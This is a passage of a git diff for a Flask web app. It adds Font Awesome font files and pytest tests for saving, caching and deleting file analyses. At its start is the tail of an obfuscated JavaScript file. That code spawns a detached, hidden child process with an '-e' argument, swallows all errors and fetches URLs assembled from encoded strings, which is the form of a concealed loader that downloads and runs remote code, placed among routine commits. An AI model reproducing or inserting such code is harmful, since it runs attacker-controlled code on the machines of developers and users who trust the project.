T+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/tests/test_tools.py b/tests/test_tools.py index 46a000f..e3eff5d 100644 --- a/tests/test_tools.py +++ b/tests/test_tools.py @@ -4,6 +4,9 @@ import pytest +from app.extensions import db as database +from app.models import FileAnalysis + def _register(client, username="tester", email="tester@example.com"): client.post( @@ -77,6 +80,22 @@ def test_code_required(self, client): class TestAnalyzeFile: + def test_analysis_history_is_private_to_owner(self, client, db): + _register(client, username="owner", email="owner@example.com") + created = client.post( + "/tools/analyze", + data={"file": (BytesIO(b"print('owner')"), "owner.py")}, + content_type="multipart/form-data", + ).get_json() + client.post("/auth/logout") + _register(client, username="other", email="other@example.com") + assert client.get("/tools/api/analyses").get_json() == [] + denied = client.delete( + f"/tools/api/analyses/{created['analysis_id']}", + headers={"X-CSRFToken": "ignored"}, + ) + assert denied.status_code == 404 + def test_analyze_python_file(self, client): _register(client) data = { @@ -111,6 +130,36 @@ def test_analyze_accepts_custom_action(self, client): assert response.status_code == 200 assert response.get_json()["action"] == "bugs" + def test_analysis_is_persisted_cached_and_deletable(self, client, db): + _register(client) + data = {"file": (BytesIO(b"print('persistent')"), "main.py")} + first = client.post( + "/tools/analyze", data=data, content_type="multipart/form-data" + ).get_json() + assert first["cached"] is False + record = database.session.get(FileAnalysis, first["analysis_id"]) + assert record.file_id == first["file_id"] + assert record.user_id is not None + assert record.provider + + again = client.post( + "/tools/analyze", + data={"file": (BytesIO(b"print('persistent')"), "main.py")}, + content_type="multipart/form-data", + ).get_json() + assert again["cached"] is True + assert again["analysis_id"] == first["analysis_id"] + assert FileAnalysis.query.count() == 1 + + history = client.get("/tools/history") + assert history.status_code == 200 + assert b"main.py" in history.data + removed = client.delete( + f"/tools/api/analyses/{record.id}", headers={"X-CSRFToken": "ignored"} + ) + assert removed.status_code == 200 + assert FileAnalysis.query.count() == 0 + class TestSendToChat: def test_send_to_chat_creates_conversation(self, client, db):